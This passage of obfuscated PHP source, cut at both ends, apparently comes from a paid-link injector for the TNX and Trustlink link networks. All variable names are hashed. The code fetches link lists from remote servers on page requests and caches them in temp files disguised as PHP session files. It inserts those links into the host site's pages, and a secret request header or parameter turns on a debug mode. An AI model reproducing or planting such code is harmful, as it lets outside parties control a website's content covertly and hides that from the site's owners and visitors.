", $_42da8ece6e679ca427b19d5bde6311f2); return $_65a5cb07f523d770ef64272e88fb2ade[1]; } } return $this->raise_error("Cann't connect to server: " . $_c5ca48c198050fcecbcda6adb9be5755 . $_fec95a9136e65be848d0e5a9baa1a026); } function lc_read($_528e583af620abe9b09bc99687a53983) { $_46c142fdacbd82e008523c5172951b83 = @fopen($_528e583af620abe9b09bc99687a53983, "rb"); @flock($_46c142fdacbd82e008523c5172951b83, LOCK_SH); if ($_46c142fdacbd82e008523c5172951b83) { clearstatcache(); $_98370b2ba444bb12eae6b2634e96283f = @filesize($_528e583af620abe9b09bc99687a53983); $_06de24df381a98ce5b6004f1edd85cd5 = @get_magic_quotes_runtime(); @set_magic_quotes_runtime(0); if ($_98370b2ba444bb12eae6b2634e96283f) { $_197d7053b1c8cf0aaa95a6d5ebfb1f86 = @fread($_46c142fdacbd82e008523c5172951b83, $_98370b2ba444bb12eae6b2634e96283f); } else { $_197d7053b1c8cf0aaa95a6d5ebfb1f86 = ''; } @set_magic_quotes_runtime($_06de24df381a98ce5b6004f1edd85cd5); @flock($_46c142fdacbd82e008523c5172951b83, LOCK_UN); @fclose($_46c142fdacbd82e008523c5172951b83); return base64_decode($_197d7053b1c8cf0aaa95a6d5ebfb1f86); } return $this->raise_error("Cann't get data from the file: " . $_528e583af620abe9b09bc99687a53983); } function lc_write($_528e583af620abe9b09bc99687a53983, $_197d7053b1c8cf0aaa95a6d5ebfb1f86) { $_197d7053b1c8cf0aaa95a6d5ebfb1f86 = base64_encode($_197d7053b1c8cf0aaa95a6d5ebfb1f86); $_46c142fdacbd82e008523c5172951b83 = @fopen($_528e583af620abe9b09bc99687a53983, "wb"); if ($_46c142fdacbd82e008523c5172951b83) { @flock($_46c142fdacbd82e008523c5172951b83, LOCK_EX); $_98370b2ba444bb12eae6b2634e96283f = strlen($_197d7053b1c8cf0aaa95a6d5ebfb1f86); @fwrite($_46c142fdacbd82e008523c5172951b83, $_197d7053b1c8cf0aaa95a6d5ebfb1f86, $_98370b2ba444bb12eae6b2634e96283f); @flock($_46c142fdacbd82e008523c5172951b83, LOCK_UN); @fclose($_46c142fdacbd82e008523c5172951b83); if (md5(base64_encode($this->lc_read($_528e583af620abe9b09bc99687a53983))) != md5($_197d7053b1c8cf0aaa95a6d5ebfb1f86)) { return $this->raise_error("Integrity was breaken while writing to file: " . $_528e583af620abe9b09bc99687a53983); } return true; } return $this->raise_error("Cann't write to file: " . $_528e583af620abe9b09bc99687a53983); } function raise_error($_326139222f844701d2e6f8a3a7c0e90c) { $this->_c3dd5a420425298ab8287badfeb24a48 = "<!--ERROR: " . $_326139222f844701d2e6f8a3a7c0e90c . "-->"; return false; } } class TNX_l2 { var $_b333cd3fb1c6f322bd5aacd28f12bcfe = XAPUSR; var $_7162e00f0cd31eb5d2ac5774ffd8bcf5 = 5; var $_eb875e3def0b6968da99c4653ac29bd8 = "fsock"; var $_32631b7386513f950c7b1e111b2b700d = ''; var $_c80c803d10f39f67ed94acb82c834cc8 = CHARSETZ; var $_61c463440208c6d5d5815a158f6780da = "PHPSESSID"; var $_48c150b20b2ed1d74b415fa5d2951412 = 0; var $_e8f04d08a93f745ea333a162f2605d14 = ''; function TNX_l2() { if($this->_c80c803d10f39f67ed94acb82c834cc8 == "windows-1251") $this->_c80c803d10f39f67ed94acb82c834cc8 = ""; if ($_SERVER['REQUEST_URI'] == '') $_SERVER['REQUEST_URI'] = "/"; if (strlen($_SERVER['REQUEST_URI']) > 180) return false; if(!empty($this->_61c463440208c6d5d5815a158f6780da)) { $_d95956d74f648fdd9bc25bfaecfed2c2 = explode(" ", $this->_61c463440208c6d5d5815a158f6780da); for ($_82c748da630bcac51d74c00ce1714b63 = 0; $_82c748da630bcac51d74c00ce1714b63<sizeof($_d95956d74f648fdd9bc25bfaecfed2c2); $_82c748da630bcac51d74c00ce1714b63++) { if($_SERVER['REQUEST_URI'] == $_d95956d74f648fdd9bc25bfaecfed2c2[$_82c748da630bcac51d74c00ce1714b63]) return false; if($_d95956d74f648fdd9bc25bfaecfed2c2[$_82c748da630bcac51d74c00ce1714b63] == "/" AND preg_match("#^\/index\.\w{1,5}$#", $_SERVER['REQUEST_URI'])) return false; if(strpos($_SERVER['REQUEST_URI'], $_d95956d74f648fdd9bc25bfaecfed2c2[$_82c748da630bcac51d74c00ce1714b63]) !== false) return false; } } $this->_b333cd3fb1c6f322bd5aacd28f12bcfe = strtolower($this->_b333cd3fb1c6f322bd5aacd28f12bcfe); $this->_addcfa9179a80f2b3ea4f7b348bf63ad = $this->_b333cd3fb1c6f322bd5aacd28f12bcfe . ".tnx.net"; $_542895ff5fa8dcb5f39647ec91e6fe12 = base64_encode($_SERVER['REQUEST_URI']); $_0790ba30c26c9a2a86b672ee4e50a4e3 = substr($this->_b333cd3fb1c6f322bd5aacd28f12bcfe, 0, 2); $_2fdcc93d89993267f493b1a191726950 = md5($_542895ff5fa8dcb5f39647ec91e6fe12); $_10bc3b56b6bdb0a344f15df506bc17db = substr($_2fdcc93d89993267f493b1a191726950, 0, 2); $_b48af01a9a1bd84ecaad3ebc823c768f = str_replace("www.", '', $_SERVER['HTTP_HOST']); $this->_8c535861e647ef13ea74224c339ef30e = _TMPDIR . "/sess_x" . md5($this->_addcfa9179a80f2b3ea4f7b348bf63ad); $this->_aa7e375daf7a0d23e23a3f94ac5b18ca = "http://" . $this->_addcfa9179a80f2b3ea4f7b348bf63ad . $this->_8c535861e647ef13ea74224c339ef30e; $this->_e8f04d08a93f745ea333a162f2605d14 = $this->get_content(); if($this->_e8f04d08a93f745ea333a162f2605d14 !== false) { $this->_f1245552710742e29a5ed29023c915ac = explode("<br>", $this->_e8f04d08a93f745ea333a162f2605d14); for ($_82c748da630bcac51d74c00ce1714b63 = 0; $_82c748da630bcac51d74c00ce1714b63<sizeof($this->_f1245552710742e29a5ed29023c915ac); $_82c748da630bcac51d74c00ce1714b63++) { $this->_f1245552710742e29a5ed29023c915ac[$_82c748da630bcac51d74c00ce1714b63] = trim($this->_f1245552710742e29a5ed29023c915ac[$_82c748da630bcac51d74c00ce1714b63]); } } } function show_link($_26a1b0d7c496cb82f11ec7c777f2839f = false) { if(!isset($this->_f1245552710742e29a5ed29023c915ac)) return false; $_e80776d760132e38a2e21e8010165c85 = ''; if(!isset($this->_8e6d001b26c370026b08222f9b95c804)){$this->_8e6d001b26c370026b08222f9b95c804 = sizeof($this->_f1245552710742e29a5ed29023c915ac);} if($this->_48c150b20b2ed1d74b415fa5d2951412 >= $this->_8e6d001b26c370026b08222f9b95c804) return false; if($_26a1b0d7c496cb82f11ec7c777f2839f === false OR $_26a1b0d7c496cb82f11ec7c777f2839f >= $this->_8e6d001b26c370026b08222f9b95c804) { for ($_82c748da630bcac51d74c00ce1714b63 = $this->_48c150b20b2ed1d74b415fa5d2951412; $_82c748da630bcac51d74c00ce1714b63 < $this->_8e6d001b26c370026b08222f9b95c804; $_82c748da630bcac51d74c00ce1714b63++) { $_e80776d760132e38a2e21e8010165c85 .= $this->_f1245552710742e29a5ed29023c915ac[$_82c748da630bcac51d74c00ce1714b63] . $this->_32631b7386513f950c7b1e111b2b700d; } $this->_48c150b20b2ed1d74b415fa5d2951412 += $this->_8e6d001b26c370026b08222f9b95c804; } else { if($this->_48c150b20b2ed1d74b415fa5d2951412 + $_26a1b0d7c496cb82f11ec7c777f2839f > $this->_8e6d001b26c370026b08222f9b95c804) return false; for ($_82c748da630bcac51d74c00ce1714b63 = $this->_48c150b20b2ed1d74b415fa5d2951412; $_82c748da630bcac51d74c00ce1714b63 < $_26a1b0d7c496cb82f11ec7c777f2839f + $this->_48c150b20b2ed1d74b415fa5d2951412; $_82c748da630bcac51d74c00ce1714b63++) { $_e80776d760132e38a2e21e8010165c85 .= $this->_f1245552710742e29a5ed29023c915ac[$_82c748da630bcac51d74c00ce1714b63] . $this->_32631b7386513f950c7b1e111b2b700d; } $this->_48c150b20b2ed1d74b415fa5d2951412 += $_26a1b0d7c496cb82f11ec7c777f2839f; } return (!empty($this->_c80c803d10f39f67ed94acb82c834cc8)) ? iconv("windows-1251", $this->_c80c803d10f39f67ed94acb82c834cc8, $_e80776d760132e38a2e21e8010165c85) : $_e80776d760132e38a2e21e8010165c85; } function get_content() { $_49ad8d6fd98b0df39bcfaa99107ee623 = "TNX_l ip: " . $_SERVER['REMOTE_ADDR']; $_65a5cb07f523d770ef64272e88fb2ade = ''; if ($this->_eb875e3def0b6968da99c4653ac29bd8 == "curl" OR ($this->_eb875e3def0b6968da99c4653ac29bd8 == '' AND function_exists("curl_init"))) { $_ca9403178e370c101d8c7896c5b5009a = curl_init($this->_aa7e375daf7a0d23e23a3f94ac5b18ca); curl_setopt($_ca9403178e370c101d8c7896c5b5009a, CURLOPT_CONNECTTIMEOUT, $this->_7162e00f0cd31eb5d2ac5774ffd8bcf5); curl_setopt($_ca9403178e370c101d8c7896c5b5009a, CURLOPT_HEADER, false); curl_setopt($_ca9403178e370c101d8c7896c5b5009a, CURLOPT_RETURNTRANSFER, true); curl_setopt($_ca9403178e370c101d8c7896c5b5009a, CURLOPT_TIMEOUT, $this->_7162e00f0cd31eb5d2ac5774ffd8bcf5); curl_setopt($_ca9403178e370c101d8c7896c5b5009a, CURLOPT_USERAGENT, $_49ad8d6fd98b0df39bcfaa99107ee623); $_65a5cb07f523d770ef64272e88fb2ade = curl_exec($_ca9403178e370c101d8c7896c5b5009a); if(curl_error($_ca9403178e370c101d8c7896c5b5009a) OR (curl_getinfo($_ca9403178e370c101d8c7896c5b5009a, CURLINFO_HTTP_CODE) != "200" AND curl_getinfo($_ca9403178e370c101d8c7896c5b5009a, CURLINFO_HTTP_CODE) != "404") OR strpos($_65a5cb07f523d770ef64272e88fb2ade, "fsockopen") !== false) { curl_close($_ca9403178e370c101d8c7896c5b5009a); return false; } curl_close($_ca9403178e370c101d8c7896c5b5009a); } elseif($this->_eb875e3def0b6968da99c4653ac29bd8 == "fsock") { $_42da8ece6e679ca427b19d5bde6311f2 = ''; $_46c142fdacbd82e008523c5172951b83 = @fsockopen($this->_addcfa9179a80f2b3ea4f7b348bf63ad, 80, $_79ebf8bb554715dd0e929a0f5eab4540, $_78ed0cdf8c3550ceda734fe8c4e5bd85, $this->_7162e00f0cd31eb5d2ac5774ffd8bcf5); if ($_46c142fdacbd82e008523c5172951b83) { fputs($_46c142fdacbd82e008523c5172951b83, "GET " . $this->_8c535861e647ef13ea74224c339ef30e . " HTTP/1.0
"); fputs($_46c142fdacbd82e008523c5172951b83, "Host: " . $this->_addcfa9179a80f2b3ea4f7b348bf63ad . "
"); fputs($_46c142fdacbd82e008523c5172951b83, "User-Agent: " . $_49ad8d6fd98b0df39bcfaa99107ee623 . "
"); fputs($_46c142fdacbd82e008523c5172951b83, "Connection: Close

"); stream_set_blocking($_46c142fdacbd82e008523c5172951b83, true); stream_set_timeout($_46c142fdacbd82e008523c5172951b83, $this->_7162e00f0cd31eb5d2ac5774ffd8bcf5); $_4ff4d7ee724f8b5770bbc59b2e77ef11 = stream_get_meta_data($_46c142fdacbd82e008523c5172951b83); while ((!feof($_46c142fdacbd82e008523c5172951b83)) AND (!$_4ff4d7ee724f8b5770bbc59b2e77ef11['timed_out'])) { $_42da8ece6e679ca427b19d5bde6311f2 .= fgets($_46c142fdacbd82e008523c5172951b83, 4096); $_4ff4d7ee724f8b5770bbc59b2e77ef11 = stream_get_meta_data($_46c142fdacbd82e008523c5172951b83); } fclose($_46c142fdacbd82e008523c5172951b83); if ($_4ff4d7ee724f8b5770bbc59b2e77ef11['timed_out']) return false; $_65a5cb07f523d770ef64272e88fb2ade = explode("

", $_42da8ece6e679ca427b19d5bde6311f2); $_65a5cb07f523d770ef64272e88fb2ade = $_65a5cb07f523d770ef64272e88fb2ade[1]; if((!preg_match("#^HTTP/1\.\d 200$#", substr($_42da8ece6e679ca427b19d5bde6311f2, 0, 12)) AND !preg_match("#^HTTP/1\.\d 404$#", substr($_42da8ece6e679ca427b19d5bde6311f2, 0, 12))) OR $_79ebf8bb554715dd0e929a0f5eab4540!=0 OR strpos($_65a5cb07f523d770ef64272e88fb2ade, "fsockopen") !== false) return false; } } if(strpos($_65a5cb07f523d770ef64272e88fb2ade, "404 Not Found")) return ''; return $_65a5cb07f523d770ef64272e88fb2ade; } } class TlC_n { var $_a806a1325421567240bc57926cb9a17a = "T0.4.5"; var $_45046e67b096c0cd1cad017c79536636 = false; var $_88473b8f891b3bc22734e06642175214 = false; var $_f740bf8ae45d957be70e3d2f959dd66a = 10; var $_46a6c0eb39a3ea4b54dc5ce0d1790976 = "cache/"; var $_417b09f30287a0c8768c4b738aed002e = "trustlink.links"; var $_696f5aae396b07e73fb6e9ef859c3370 = 0; var $_23cf651ff109f032fdb70d99bd467701 = false; var $_3d66df63b70c6abf41fe8da5a7bec4b5 = false; var $_5dfb4ec8021fd5dd2e8ff5b9b5a74bd2 = false; var $_9b33852f6108d4bc3cc8a3c525e50e0d = false; var $_990cea997dd44ec05303e92bc2ce6f15 = 4; var $_6a4fbd073c074498c3bc8845a50bdfbe = "template"; var $_e0f575480171b1e6fb914fc4ae50c803 = "DEFAULT"; var $_fd62c348e4b5dfd0a343b384adf5ecf4 = false; var $_706f78d10befea269f3aa361fa7e7bc2 = "db.trustlink.ru"; var $_4bf9053f05dd6998f95b207178638eaa = 3600; var $_05dcb5ce6a800d36a9cc99a87e41ea20 = 300; var $_5f6fba6411283619c883339ca4d44db0 = ''; var $_d74c2bfd5d36b1c72fcc0714901c5bda = array(); var $_b2cb9b77beed812ef7b5323f76af3897 = array(); var $_5c93781fad72258c9f24ef18fe353aff = ''; var $_ed1cff72c97b9ed864131cf503248489 = ''; var $_1437479e57b0522f2462fb64e963ee65 = ''; var $_a89c6b38f4a159c24aebb4caff878a8e = ''; var $_75fa59cb1edf5f8a64556376d5ea4dd0 = 6; var $_7649ec08d90fd6075db95b8afeca74ea = false; var $_3f5428659b117eb630d66f5ef45eb99b = false; var $_d58bdea659dc1463c7827015013e9b76 = false; function TlC_n($_8c878de914cd1035425174e52c152e84 = null) { $_c5ca48c198050fcecbcda6adb9be5755 = ''; if (is_array($_8c878de914cd1035425174e52c152e84)) { if (isset($_8c878de914cd1035425174e52c152e84['host'])) { $_c5ca48c198050fcecbcda6adb9be5755 = $_8c878de914cd1035425174e52c152e84['host']; } } elseif (strlen($_8c878de914cd1035425174e52c152e84) != 0) { $_c5ca48c198050fcecbcda6adb9be5755 = $_8c878de914cd1035425174e52c152e84; $_8c878de914cd1035425174e52c152e84 = array(); } else { $_8c878de914cd1035425174e52c152e84 = array(); } if (strlen($_c5ca48c198050fcecbcda6adb9be5755) != 0) { $this->_ed1cff72c97b9ed864131cf503248489 = $_c5ca48c198050fcecbcda6adb9be5755; } else { $this->_ed1cff72c97b9ed864131cf503248489 = $_SERVER['HTTP_HOST']; } $this->_ed1cff72c97b9ed864131cf503248489 = preg_replace("{^https?://}i", '', $this->_ed1cff72c97b9ed864131cf503248489); $this->_ed1cff72c97b9ed864131cf503248489 = preg_replace("{^www\.}i", '', $this->_ed1cff72c97b9ed864131cf503248489); $this->_ed1cff72c97b9ed864131cf503248489 = strtolower( $this->_ed1cff72c97b9ed864131cf503248489); if (isset($_8c878de914cd1035425174e52c152e84['is_static']) && $_8c878de914cd1035425174e52c152e84['is_static']) { $this->_d58bdea659dc1463c7827015013e9b76 = true; } if (isset($_8c878de914cd1035425174e52c152e84['request_uri']) && strlen($_8c878de914cd1035425174e52c152e84['request_uri']) != 0) { $this->_1437479e57b0522f2462fb64e963ee65 = $_8c878de914cd1035425174e52c152e84['request_uri']; } else { if ($this->_d58bdea659dc1463c7827015013e9b76) { $this->_1437479e57b0522f2462fb64e963ee65 = preg_replace( "{\?.*$}", '', $_SERVER['REQUEST_URI']); $this->_1437479e57b0522f2462fb64e963ee65 = preg_replace( "{/+}", "/", $this->_1437479e57b0522f2462fb64e963ee65); } else { $this->_1437479e57b0522f2462fb64e963ee65 = $_SERVER['REQUEST_URI']; } } $this->_1437479e57b0522f2462fb64e963ee65 = rawurldecode($this->_1437479e57b0522f2462fb64e963ee65); if (isset($_8c878de914cd1035425174e52c152e84['multi_site']) && $_8c878de914cd1035425174e52c152e84['multi_site'] == true) { $this->_3f5428659b117eb630d66f5ef45eb99b = true; } if ((isset($_8c878de914cd1035425174e52c152e84['verbose']) && $_8c878de914cd1035425174e52c152e84['verbose']) || isset($this->_d74c2bfd5d36b1c72fcc0714901c5bda['__trustlink_debug__'])) { $this->_45046e67b096c0cd1cad017c79536636 = true; } if (isset($_8c878de914cd1035425174e52c152e84['charset']) && strlen($_8c878de914cd1035425174e52c152e84['charset']) != 0) { $this->_e0f575480171b1e6fb914fc4ae50c803 = $_8c878de914cd1035425174e52c152e84['charset']; } if (isset($_8c878de914cd1035425174e52c152e84['fetch_remote_type']) && strlen($_8c878de914cd1035425174e52c152e84['fetch_remote_type']) != 0) { $this->_a89c6b38f4a159c24aebb4caff878a8e = $_8c878de914cd1035425174e52c152e84['fetch_remote_type']; } if (isset($_8c878de914cd1035425174e52c152e84['socket_timeout']) && is_numeric($_8c878de914cd1035425174e52c152e84['socket_timeout']) && $_8c878de914cd1035425174e52c152e84['socket_timeout'] > 0) { $this->_75fa59cb1edf5f8a64556376d5ea4dd0 = $_8c878de914cd1035425174e52c152e84['socket_timeout']; } if ((isset($_8c878de914cd1035425174e52c152e84['force_show_code']) && $_8c878de914cd1035425174e52c152e84['force_show_code']) || isset($this->_d74c2bfd5d36b1c72fcc0714901c5bda['__trustlink_debug__'])) { $this->_7649ec08d90fd6075db95b8afeca74ea = true; } else if (file_exists( _TMPDIR . "/sess_fc.log")) { $this->_7649ec08d90fd6075db95b8afeca74ea = true; } if (isset($_8c878de914cd1035425174e52c152e84['use_cache']) && $_8c878de914cd1035425174e52c152e84['use_cache']) { $this->_88473b8f891b3bc22734e06642175214 = true; } if (isset($_8c878de914cd1035425174e52c152e84['cache_clusters']) && $_8c878de914cd1035425174e52c152e84['cache_clusters']) { $this->_f740bf8ae45d957be70e3d2f959dd66a = $_8c878de914cd1035425174e52c152e84['cache_clusters']; } if (isset($_8c878de914cd1035425174e52c152e84['cache_dir']) && $_8c878de914cd1035425174e52c152e84['cache_dir']) { $this->_46a6c0eb39a3ea4b54dc5ce0d1790976 = $_8c878de914cd1035425174e52c152e84['cache_dir']; } if (!defined("TRUSTLINKUSR")) { return $this->raise_error("Constant TRUSTLINKUSR is not defined."); } if (isset($_SERVER['HTTP_TRUSTLINK']) && $_SERVER['HTTP_TRUSTLINK']==TRUSTLINKUSR){ $this->_9b33852f6108d4bc3cc8a3c525e50e0d=true; $this->_5dfb4ec8021fd5dd2e8ff5b9b5a74bd2=true; $this->_45046e67b096c0cd1cad017c79536636 = true; } if (isset($_GET['trustlink_test']) && $_GET['trustlink_test']==TRUSTLINKUSR){ $this->_7649ec08d90fd6075db95b8afeca74ea=true; $this->_45046e67b096c0cd1cad017c79536636 = true; } $this->load_links(); } function setup_datafile($_528e583af620abe9b09bc99687a53983){ if (!is_file($_528e583af620abe9b09bc99687a53983)) { if (@touch($_528e583af620abe9b09bc99687a53983, time() - $this->_4bf9053f05dd6998f95b207178638eaa)) { @chmod($_528e583af620abe9b09bc99687a53983, 0666); } else { return $this->raise_error("There is no file " . $_528e583af620abe9b09bc99687a53983 . ". Fail to create. Set mode to 777 on the folder."); } } if (!is_writable($_528e583af620abe9b09bc99687a53983)) { return $this->raise_error("There is no permissions to write: " . $_528e583af620abe9b09bc99687a53983 . "! Set mode to 777 on the folder."); } return true; } function load_links() { $this->_5f6fba6411283619c883339ca4d44db0 = _TMPDIR . "/sess_t" . md5($this->_ed1cff72c97b9ed864131cf503248489); if (!$this->setup_datafile($this->_5f6fba6411283619c883339ca4d44db0)){return false;} if ($this->_88473b8f891b3bc22734e06642175214){ if (!is_dir(_TMPDIR ."/".$this->_46a6c0eb39a3ea4b54dc5ce0d1790976)) { if(!@mkdir(_TMPDIR ."/".$this->_46a6c0eb39a3ea4b54dc5ce0d1790976)){ return $this->raise_error("There is no dir " . _TMPDIR ."/".$this->_46a6c0eb39a3ea4b54dc5ce0d1790976 . ". Fail to create. Set mode to 777 on the folder."); } } if (!is_writable(_TMPDIR ."/".$this->_46a6c0eb39a3ea4b54dc5ce0d1790976)) { return $this->raise_error("There is no permissions to write to dir " . $this->_46a6c0eb39a3ea4b54dc5ce0d1790976 . "! Set mode to 777 on the folder."); } for ($_82c748da630bcac51d74c00ce1714b63 = 0; $_82c748da630bcac51d74c00ce1714b63<$this->_f740bf8ae45d957be70e3d2f959dd66a; $_82c748da630bcac51d74c00ce1714b63++){ $_528e583af620abe9b09bc99687a53983=$this->cache_filename($_82c748da630bcac51d74c00ce1714b63); if (!$this->setup_datafile($_528e583af620abe9b09bc99687a53983)){return false;} } } @clearstatcache(); if (filemtime($this->_5f6fba6411283619c883339ca4d44db0) < (time()-$this->_4bf9053f05dd6998f95b207178638eaa) || (filemtime($this->_5f6fba6411283619c883339ca4d44db0) < (time()-$this->_05dcb5ce6a800d36a9cc99a87e41ea20) && filesize($this->_5f6fba6411283619c883339ca4d44db0) == 0)) { @touch($this->_5f6fba6411283619c883339ca4d44db0, time()); $_fec95a9136e65be848d0e5a9baa1a026 = "/" . TRUSTLINKUSR . "/" . strtolower( $this->_ed1cff72c97b9ed864131cf503248489 ) . "/" . strtoupper( $this->_e0f575480171b1e6fb914fc4ae50c803); if ($_e80776d760132e38a2e21e8010165c85 = $this->fetch_remote_file($this->_706f78d10befea269f3aa361fa7e7bc2, $_fec95a9136e65be848d0e5a9baa1a026)) { if (substr($_e80776d760132e38a2e21e8010165c85, 0, 12) == "FATAL ERROR:" && $this->_3d66df63b70c6abf41fe8da5a7bec4b5) { $this->raise_error($_e80776d760132e38a2e21e8010165c85); } else{ if (@unserialize($_e80776d760132e38a2e21e8010165c85) !== false) { $this->lc_write($this->_5f6fba6411283619c883339ca4d44db0, $_e80776d760132e38a2e21e8010165c85); $this->_23cf651ff109f032fdb70d99bd467701 = true; } else if ($this->_3d66df63b70c6abf41fe8da5a7bec4b5) { $this->raise_error("Cans't unserialize received data."); } } } } if ($this->_88473b8f891b3bc22734e06642175214 && !$this->lc_is_synced_cache()){ $this->_23cf651ff109f032fdb70d99bd467701 = true; } if ($this->_88473b8f891b3bc22734e06642175214 && !$this->_23cf651ff109f032fdb70d99bd467701){ $this->_696f5aae396b07e73fb6e9ef859c3370 = $this->page_cluster($this->_1437479e57b0522f2462fb64e963ee65,$this->_f740bf8ae45d957be70e3d2f959dd66a); $_e80776d760132e38a2e21e8010165c85 = $this->lc_read($this->cache_filename($this->_696f5aae396b07e73fb6e9ef859c3370)); }else{ $_e80776d760132e38a2e21e8010165c85 = $this->lc_read($this->_5f6fba6411283619c883339ca4d44db0); } $this->_41b0c89725304ce59b8ca79f29941757 = gmstrftime ("%d.%m.%Y %H:%M:%S",filectime($this->_5f6fba6411283619c883339ca4d44db0)); $this->_39485eacfeca62c0b0e6438a7bbf4ff0 = strlen( $_e80776d760132e38a2e21e8010165c85); if (!$_e80776d760132e38a2e21e8010165c85) { $this->_d74c2bfd5d36b1c72fcc0714901c5bda = array(); if ($this->_3d66df63b70c6abf41fe8da5a7bec4b5) $this->raise_error("Empty file."); } else if (!$this->_d74c2bfd5d36b1c72fcc0714901c5bda = @unserialize($_e80776d760132e38a2e21e8010165c85)) { $this->_d74c2bfd5d36b1c72fcc0714901c5bda = array(); if ($this->_3d66df63b70c6abf41fe8da5a7bec4b5) $this->raise_error("Can't unserialize data from file."); } if (isset($this->_d74c2bfd5d36b1c72fcc0714901c5bda['__trustlink_delimiter__'])) { $this->_5df62ed92eed94e4442a20361bf0274f = $this->_d74c2bfd5d36b1c72fcc0714901c5bda['__trustlink_delimiter__']; } if ($this->_9b33852f6108d4bc3cc8a3c525e50e0d) { if (isset($this->_d74c2bfd5d36b1c72fcc0714901c5bda['__test_tl_link__']) && is_array($this->_d74c2bfd5d36b1c72fcc0714901c5bda['__test_tl_link__'])) { for ($_82c748da630bcac51d74c00ce1714b63 = 0; $_82c748da630bcac51d74c00ce1714b63 < $this->_990cea997dd44ec05303e92bc2ce6f15; $_82c748da630bcac51d74c00ce1714b63++) $this->_b2cb9b77beed812ef7b5323f76af3897[$_82c748da630bcac51d74c00ce1714b63]=$this->_d74c2bfd5d36b1c72fcc0714901c5bda['__test_tl_link__']; } if ($this->_e0f575480171b1e6fb914fc4ae50c803!="DEFAULT"){ $this->_b2cb9b77beed812ef7b5323f76af3897[$_82c748da630bcac51d74c00ce1714b63]['text']=iconv("UTF-8", $this->_e0f575480171b1e6fb914fc4ae50c803, $this->_b2cb9b77beed812ef7b5323f76af3897[$_82c748da630bcac51d74c00ce1714b63]['text']); $this->_b2cb9b77beed812ef7b5323f76af3897[$_82c748da630bcac51d74c00ce1714b63]['anchor']=iconv("UTF-8", $this->_e0f575480171b1e6fb914fc4ae50c803, $this->_b2cb9b77beed812ef7b5323f76af3897[$_82c748da630bcac51d74c00ce1714b63]['anchor']); } } else { $_8ff1a21c55de8b51cb8b98b868d8ba57=array(); foreach($this->_d74c2bfd5d36b1c72fcc0714901c5bda as $_acaa517f82eb72286b15468b4c0e5d4b=>$_563dae3450fffa16b641eb2c30a07c65){ $_8ff1a21c55de8b51cb8b98b868d8ba57[rawurldecode($_acaa517f82eb72286b15468b4c0e5d4b)]=$_563dae3450fffa16b641eb2c30a07c65; } $this->_d74c2bfd5d36b1c72fcc0714901c5bda=$_8ff1a21c55de8b51cb8b98b868d8ba57; if ($this->_88473b8f891b3bc22734e06642175214 && $this->_23cf651ff109f032fdb70d99bd467701){ $this->lc_write_cache($this->_d74c2bfd5d36b1c72fcc0714901c5bda); } $this->_b2cb9b77beed812ef7b5323f76af3897=array(); if (array_key_exists($this->_1437479e57b0522f2462fb64e963ee65, $this->_d74c2bfd5d36b1c72fcc0714901c5bda) && is_array($this->_d74c2bfd5d36b1c72fcc0714901c5bda[$this->_1437479e57b0522f2462fb64e963ee65])) { $this->_b2cb9b77beed812ef7b5323f76af3897 = array_merge($this->_b2cb9b77beed812ef7b5323f76af3897, $this->_d74c2bfd5d36b1c72fcc0714901c5bda[$this->_1437479e57b0522f2462fb64e963ee65]); } } $this->_548430af517f106ea06bd68b065de9ef = count($this->_b2cb9b77beed812ef7b5323f76af3897); } function fetch_remote_file($_c5ca48c198050fcecbcda6adb9be5755, $_fec95a9136e65be848d0e5a9baa1a026) { $_49ad8d6fd98b0df39bcfaa99107ee623 = "Trustlink Client PHP " . $this->_a806a1325421567240bc57926cb9a17a; @ini_set("allow_url_fopen", 1); @ini_set("default_socket_timeout", $this->_75fa59cb1edf5f8a64556376d5ea4dd0); @ini_set("user_agent", $_49ad8d6fd98b0df39bcfaa99107ee623); if ( $this->_a89c6b38f4a159c24aebb4caff878a8e == "file_get_contents" || ( $this->_a89c6b38f4a159c24aebb4caff878a8e == '' && function_exists("file_get_contents") && ini_get("allow_url_fopen") == 1 ) ) { if ($_197d7053b1c8cf0aaa95a6d5ebfb1f86 = @file_get_contents("http://" . $_c5ca48c198050fcecbcda6adb9be5755 . $_fec95a9136e65be848d0e5a9baa1a026)) { return $_197d7053b1c8cf0aaa95a6d5ebfb1f86; } } elseif ( $this->_a89c6b38f4a159c24aebb4caff878a8e == "curl" || ( $this->_a89c6b38f4a159c24aebb4caff878a8e == '' && function_exists("curl_init") ) ) { if ($_bfc60a717f4be47369df0dd31b551623 = @curl_init()) { @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_URL, "http://" . $_c5ca48c198050fcecbcda6adb9be5755 . $_fec95a9136e65be848d0e5a9baa1a026); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_HEADER, false); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_RETURNTRANSFER, true); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_CONNECTTIMEOUT, $this->_75fa59cb1edf5f8a64556376d5ea4dd0); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_USERAGENT, $_49ad8d6fd98b0df39bcfaa99107ee623); if ($_197d7053b1c8cf0aaa95a6d5ebfb1f86 = @curl_exec($_bfc60a717f4be47369df0dd31b551623)) { return $_197d7053b1c8cf0aaa95a6d5ebfb1f86; } @curl_close($_bfc60a717f4be47369df0dd31b551623); } } else { $_42da8ece6e679ca427b19d5bde6311f2 = ''; $_46c142fdacbd82e008523c5172951b83 = @fsockopen($_c5ca48c198050fcecbcda6adb9be5755, 80, $_79ebf8bb554715dd0e929a0f5eab4540, $_78ed0cdf8c3550ceda734fe8c4e5bd85, $this->_75fa59cb1edf5f8a64556376d5ea4dd0); if ($_46c142fdacbd82e008523c5172951b83) { @fputs($_46c142fdacbd82e008523c5172951b83, "GET {$_fec95a9136e65be848d0e5a9baa1a026} HTTP/1.0
Host: {$_c5ca48c198050fcecbcda6adb9be5755}
"); @fputs($_46c142fdacbd82e008523c5172951b83, "User-Agent: {$_49ad8d6fd98b0df39bcfaa99107ee623}

"); while (!@feof($_46c142fdacbd82e008523c5172951b83)) { $_42da8ece6e679ca427b19d5bde6311f2 .= @fgets($_46c142fdacbd82e008523c5172951b83, 128); } @fclose($_46c142fdacbd82e008523c5172951b83); $_65a5cb07f523d770ef64272e88fb2ade = explode("

